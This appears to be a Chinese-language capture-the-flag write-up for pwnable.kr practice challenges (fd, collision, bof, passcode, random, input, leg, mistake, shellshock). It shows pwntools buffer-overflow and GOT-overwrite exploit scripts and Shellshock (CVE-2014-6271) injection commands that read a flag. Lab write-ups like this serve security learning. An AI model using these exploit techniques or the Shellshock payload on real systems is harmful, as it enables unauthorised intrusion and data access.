跳转至

pwnable.kr notes

0x1 [fd]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;

}
输入十进制0x1234让read从stdin读内容,然后输入LETMEWIN即可。

0x2 [collision]

第二题说是MD5碰撞的小技巧? 不太懂,手动构造了五个对应可见字符的int过掉了。

0x392c312f 0x392c322f 0x392c332f 0x392c342f 0x3d2c3f30

/1,9/2,9/3,9/4,90?,=

0x3 [bof]

利用栈溢出覆盖掉func的参数a1即可。

#!/usr/bin/env python

from pwn import *

conn = remote('pwnable.kr',9000)
conn.sendline('a'*52+p32(0xcafebabe))
conn.interactive()

0x4 [flag]

upx -d

0x5 [passcode]

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
        printf("Login OK!\n");
        system("/bin/cat flag");
    }
    else{
        printf("Login Failed!\n");
        exit(0);
    }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
}
拿到题发现scanf没有加取地址符号,并且int passcode1/passcode2 没有初始化,也就意味着这两者的初值为栈上的随机值。然而经过下面测试输入发现随机值其实是name[100]的残留值:

首先输入一个长度为100的字符串: 在login中scanf调用处下断: 运行并断下后观察栈情况: 容易发现,buff正好覆盖到了scanf的第二个参数位置,而scanf读入一个%d格式的字符串并写入第二个参数所指向的内存处,于是我们联想到使用buff来控制scanf帮我们写一写某一个指定内存。

往哪儿写呢?程序中并不是所有地方都具备可写权限,否则的话我们可以直接往scanf下一条指令的地址处写一个EB跳转,直接跳转到system函数调用块处即可。这里我们通过覆盖got表来实现流程的跳转。

IDA查看scanf的层层调用关系,可以追溯到这里:

于是就可以这样考虑: 将buff[97-100]写为0x0804a020,然后在程序要求输入passcode1时我们输入0x080485d7对应的%d格式字符串"134514135",让scanf帮我们改写got表,这样的话,下一次scanf调用就会直接调用0x080485d7处的指令了,该处指令即为验证成功的指令(从图二中可以看到) 然而实际上,我本地利用pwntools发送0x0804a020之后会出现问题,大概推测了一下原因:0x20对应的是空格,自然截断了输入并将剩余字符传给了下一次scanf调用,导致下一次scanf无法正常得到我们想要给它的'134514135'字符串。因此最后我使用fflush的地址0x0804a004作为跳板,即可正常获得flag了。

脚本如下:

#!/usr/bin/env python

from pwn import *
shell = ssh('passcode','pwnable.kr',password='guest',port=2222)
conn = shell.run('sh')
conn.sendline('./passcode')
conn.recv()

conn.sendline('a'*96+p32(0x0804a004))
conn.recv()
conn.sendline('134514135')
conn.interactive()

0x6 [random]

ssh连接上去之后看了一下源代码,咦,rand之前没有调用srand耶,那生成的数就不随机哟。 源码改一下用gcc编译并链接,让它输出random的值:

#include <stdio.h>
int main(){
    unsigned int random;
    random = rand();    // random value!
    unsigned int key=0;
    printf("%d", random);
    return 0;
}
会发现多次输出都是同一个值1804289383,那么异或0xdeadbeef得到的3039230856便是合法输入了。

通过这题,又过去了解了一下linux下rand的实现方式,日后有机会遇到相关题时再做补充。

0x7 [Input]

这题主要考查unix下pipe的特性,参考[相关资料].(https://ryanstutorials.net/linuxtutorial/piping.php)

将下面的代码写在目标主机的/tmp目录下,gcc编译后运行即可通关,但是拿不到flag,尝试过做软链接也无果,一定是题目有bug :)

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(){
    char *argv[101]={"/home/input2/input",[1 ... 99] = "\x00",NULL};
    argv['C']="6666";
    argv['B']="\x20\x0a\x0d";   //stage1
    argv['A']="\x00";

    char *env[2]={"\xde\xad\xbe\xef=\xca\xfe\xba\xbe",NULL};

    int pipeStdin[2]={-1,-1};   //stage2
    int pipeStderr[2]={-1,-1};
    if(pipe(pipeStdin)<0 || pipe(pipeStderr) < 0){
        printf("Error creating pipes.\n");
        return -1;
    }
    pid_t pid;
    FILE *file = fopen("\x0a","w");
    fwrite("\x00\x00\x00\x00",4,1,file);
    fclose(file);                 //stage4

    if((pid = fork()) < 0){
        printf("Error forking..\n");
        return -2;
    }
    if (pid==0){
        //child process
        write(pipeStdin[1],"\x00\x0a\x00\xff",4);
        write(pipeStderr[1],"\x00\x0a\x02\xff",4);
        sleep(3);
        int sd;
        struct sockaddr_in saddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
            return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
        saddr.sin_port=htons(6666);
        connect(sd,&saddr,sizeof(saddr));
        send(sd,"\xde\xad\xbe\xef",4,0);
    }
    else{
        //parent process
        dup2(pipeStdin[0],0);
        dup2(pipeStderr[0],2);
        execvpe("/home/input2/input",argv,env);  //replace current process
    }
    return 1;
}

0x8 [leg]

thumb, arm, and le......leg

To know

流水线

简单了解,ARM处理器使用流水线来增加处理指令流的速度,可以使几个操作同时进行。

该程序涉及到如下的Pipeline:

ARM Thumb Stage Discription
PC PC Fetch The instruction is fetched from memory.
PC - 4 PC - 2 Decode The registers used in the instruction are decoded.
PC - 8 PC - 4 Excute The register(s) is(are) read from register bank;
The shift and ALU operations are performed;
The register(s) is(are) written back to the register bank.
ARM and Thumb

在 ARM 处理器中,内核同时支持32位的 ARM 指令与16位的 Thumb 指令。对于 ARM 指令来说,所有的指令长度都是32位,Thumb 指令长度为16位,实现同样的程序功能所需的 Thumb 指令更多,但存储空间一般更小。

  • 若使用 32 位的存储器,ARM 代码比 Thumb 代码快约 40%
  • 若使用 16 位的存储器,Thumb 代码比 ARM 代码快约 40%~50%

若对系统的性能有较高要求,应使用 32 位的存储系统和 ARM 指令集若对系统的成本及功耗有较高要求,则应使用 16 位的存储系统和 Thumb 指令集

  • 在编写 Thumb 指令时,先要使用 .code 16 声明,编写 ARM 指令时,则可使用 .code 32 声明。
  • Thumb 的PUSH、POP 指令使用栈寄存器 R13 作为基址堆栈操作。
  • 所有异常都会使微处理器返回到 ARM 模式状态,并在 ARM 的编程模式中处理。
  • ......

在实际系统中,内核状态需要经常的切换(Interworking)来满足系统性能需求。具体的切换是通过 Branch Exchange—即 BX 指令 来实现的。

BX Rn

其中,Rn 可以是寄存器 R0—R15 中的任意一个,Rn的最低位决定CPU执行该地址的状态(该地址不考虑这个最低位),Rn[0]==0时进入 ARM 状态,为1时进入 Thumb 状态。

When PC has been changed...

执行一条分支指令或直接修改 PC 而发生跳转时,会使 ARM 内核凊空流水线。倘若将 PC 修改到 label 地址,则下一步将会对 label 地址进行Fetch,下下步将会对 label 地址Decode同时对 label 的下条指令 Fetch,最终执行 label 地址指令、Decode其后的指令、Fetch下下条指令。

即使产生了一个中断,一条处于“执行”阶段的指令也将会完成。流水线里其他指令将会放弃 。

看题

(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>: push    {r4, r11, lr}
   0x00008d40 <+4>: add r11, sp, #8
   0x00008d44 <+8>: sub sp, sp, #12
   0x00008d48 <+12>:    mov r3, #0
   0x00008d4c <+16>:    str r3, [r11, #-16]
   0x00008d50 <+20>:    ldr r0, [pc, #104]  ; 0x8dc0 <main+132>
   0x00008d54 <+24>:    bl  0xfb6c <printf>
   0x00008d58 <+28>:    sub r3, r11, #16
   0x00008d5c <+32>:    ldr r0, [pc, #96]   ; 0x8dc4 <main+136>
   0x00008d60 <+36>:    mov r1, r3
   0x00008d64 <+40>:    bl  0xfbd8 <__isoc99_scanf>
   0x00008d68 <+44>:    bl  0x8cd4 <key1>
   0x00008d6c <+48>:    mov r4, r0  ;////<key1> returns value by r0
   0x00008d70 <+52>:    bl  0x8cf0 <key2>
   0x00008d74 <+56>:    mov r3, r0  ;////<key2> returns value by r0
   0x00008d78 <+60>:    add r4, r4, r3  ;////adds the values <key1> and <key2> returned
   0x00008d7c <+64>:    bl  0x8d20 <key3>
   0x00008d80 <+68>:    mov r3, r0  ;////<key3> returns value by r0
   0x00008d84 <+72>:    add r2, r4, r3  ;////sum up all together
   0x00008d88 <+76>:    ldr r3, [r11, #-16] ;////the int-formatted user's input
   0x00008d8c <+80>:    cmp r2, r3  ;////compare
   0x00008d90 <+84>:    bne 0x8da8 <main+108>
   0x00008d94 <+88>:    ldr r0, [pc, #44]   ; 0x8dc8 <main+140>
   0x00008d98 <+92>:    bl  0x1050c <puts>
   0x00008d9c <+96>:    ldr r0, [pc, #40]   ; 0x8dcc <main+144>
   0x00008da0 <+100>:   bl  0xf89c <system>
   0x00008da4 <+104>:   b   0x8db0 <main+116>
   0x00008da8 <+108>:   ldr r0, [pc, #32]   ; 0x8dd0 <main+148>
   0x00008dac <+112>:   bl  0x1050c <puts>
   0x00008db0 <+116>:   mov r3, #0
   0x00008db4 <+120>:   mov r0, r3
   0x00008db8 <+124>:   sub sp, r11, #8
   0x00008dbc <+128>:   pop {r4, r11, pc}
   0x00008dc0 <+132>:   andeq   r10, r6, r12, lsl #9
   0x00008dc4 <+136>:   andeq   r10, r6, r12, lsr #9
   0x00008dc8 <+140>:           ; <UNDEFINED> instruction: 0x0006a4b0
   0x00008dcc <+144>:           ; <UNDEFINED> instruction: 0x0006a4bc
   0x00008dd0 <+148>:   andeq   r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>: add r11, sp, #0
   0x00008cdc <+8>: mov r3, pc  ;////执行完该指令r3为0x00008ce4, r3->r0返回
   0x00008ce0 <+12>:    mov r0, r3
   0x00008ce4 <+16>:    sub sp, r11, #0
   0x00008ce8 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008cec <+24>:    bx  lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>: add r11, sp, #0
   0x00008cf8 <+8>: push    {r6}        ; (str r6, [sp, #-4]!)////存储r6
   0x00008cfc <+12>:    add r6, pc, #1  ;////将0x00008d04存入r6,并将最低位置1
   0x00008d00 <+16>:    bx  r6  ;////以Thumb模式调用0x00008d04
   0x00008d04 <+20>:    mov r3, pc  ;r3=0x00008d08(最低位被清零)
   0x00008d06 <+22>:    adds    r3, #4  ;r3=0x00008d0c
   0x00008d08 <+24>:    push    {r3}    ;r3入栈
   0x00008d0a <+26>:    pop {pc}        ;pc=0x00008d0c,下一条指令将以arm模式执行0x00008d0c
   0x00008d0c <+28>:    pop {r6}        ; (ldr r6, [sp], #4)////恢复r6
   0x00008d10 <+32>:    mov r0, r3      ;r0=r3==0x00008d0c
   0x00008d14 <+36>:    sub sp, r11, #0
   0x00008d18 <+40>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008d1c <+44>:    bx  lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008d24 <+4>: add r11, sp, #0
   0x00008d28 <+8>: mov r3, lr  ;lr为调用者下一条指令地址0x00008d74
   0x00008d2c <+12>:    mov r0, r3
   0x00008d30 <+16>:    sub sp, r11, #0
   0x00008d34 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008d38 <+24>:    bx  lr
End of assembler dump.
(gdb) 

分析已写在注释中,得到输入应该为 0x00008ce4 + 0x8d0c + 0x00008d80 == 108400

0x9 [mistake]

= 优先级低于 < ,if(fd= open("/home/mistake/password",O_RDONLY,0400) < 0){ 导致程序第一次实际上从0(stdin)读取内容。

0xA [shellshock]

To know

ls -l

ls -l 的输出结果中 total 76 表示该目录下文件共占用76k大小的block,每个block为4k,一个block仅能存一个文件,文件过大时将会放入多个block中存储。

使用 ls -ls 可以查看每个文件占用block的大小:

 ~/Desktop/test_priv  ls -ls
total 76
 4 -rw--w---- 1 yype     yype    21 Aug  8 00:25 flag
52 -rw-rw-r-- 1 yype     yype 51917 Aug  8 06:59 solarized.vim
12 -rwsrwxr-x 1 yype     yype  8760 Aug 10 00:44 test
 4 -rw-r--r-- 1 yype_pwn yype     5 Aug  9 01:13 test2
 4 -rw-rw-r-- 1 yype     yype   191 Aug 10 00:44 test.c

其后的 -rwsrwxr-x 每三个一组,分别代表 file owner/group members/other users 对该文件的读写、执行权。

s flag

关于这个标志,参考资料一定要参考Wikipedia英文版,我看到的翻译要么是一笔带过要么是在乱讲。

s flag 在三个组别中分别叫做 SUID/SGID/Sticky bit ,对于 suid 与 sgid:

setuid 或者 setgid 属性被设置在一个可执行程序上,任何能执行这个程序的用户执行它会自动获得文件的所有者或者所在组(取决于是suid还是sgid)的权限。

SGID 设置在文件夹上有着不一样的效果,详见wiki。

Sticky bit is a little bit sticky,for more detail please refer to the wiki.

对于 s flag 的示例:

前面的ls -l命令所在文件夹中,test.c 的代码如下:

#include <stdio.h>

int main(int argv,char** argc){
    printf("test msg\n");
    if(argv!=1 && !strcmp(argc[1],"setreuid"))
        setreuid(geteuid(),-1); //留-1保持原euid不变,设置r(eal)uid为e(ffective)uid
    system("/bin/cat ./flag");
    return 0;
}

编译好的程序 ./test 的权限为 -rwsrwxr-x ,设置了suid位,切换到同属于yype用户组的yype_pwn用户下,运行以下命令:

$ ./test
test msg
/bin/cat: ./flag: Permission denied
$ ./test setreuid
test msg
test_This_is_The_flag

也即,suid设置后,程序执行后的euid自动变为文件所有者id,而system执行子程序的权限实际上继承自爸爸的ruid

更详细的说明:

子程序的 ruid/rgid 继承自父亲的 ruid/rgid,若子程序被设置了suid/sgid,则euid/egid会被设置为所有者/组id,否则 euid/egid = ruid/rgid,程序的权限是由 euid 确定的。

chmod u-s ./test

之后切换到yype_pwn,执行:

$ ./test
test msg
/bin/cat: ./flag: Permission denied
$ ./test setreuid
test msg
/bin/cat: ./flag: Permission denied
Shellshock CVE

利用 Shellshock 可以在bash初始化环境变量时执行任意代码。

看题

[email protected]:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock     959120 Oct 12  2014 bash
-r--r----- 1 root shellshock_pwn     47 Oct 12  2014 flag
-r-xr-sr-x 1 root shellshock_pwn   8547 Oct 12  2014 shellshock
-r--r--r-- 1 root root              188 Oct 12  2014 shellshock.c

我们以shellshock用户登入,不具备shellshock_pwn用户组的flag的读权限,但 ./shellshock 设置了 SGID,意味着 EGID为 shellshock_pwn,同时该程序源代码中有:

setresgid(getegid(), getegid(), getegid());

将 RGID 设置为了 EGID,之后调用system执行了目录下的bash,此时bash继承父亲的 RGID 以 shellshock_pwn 的组权限执行,具备读flag权限,于是利用 Shellshock 漏洞注入cat flag即可:

验证漏洞存在:

[email protected]:~$ env x='() { :;}; echo vulnerable' /home/shellshock/bash -c "echo hello"
vulnerable
hello

本题POC:

[email protected]:~$ env x='() { :;}; /bin/cat ./flag' ./shellshock 
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault #不要在意这些细节

...To be continued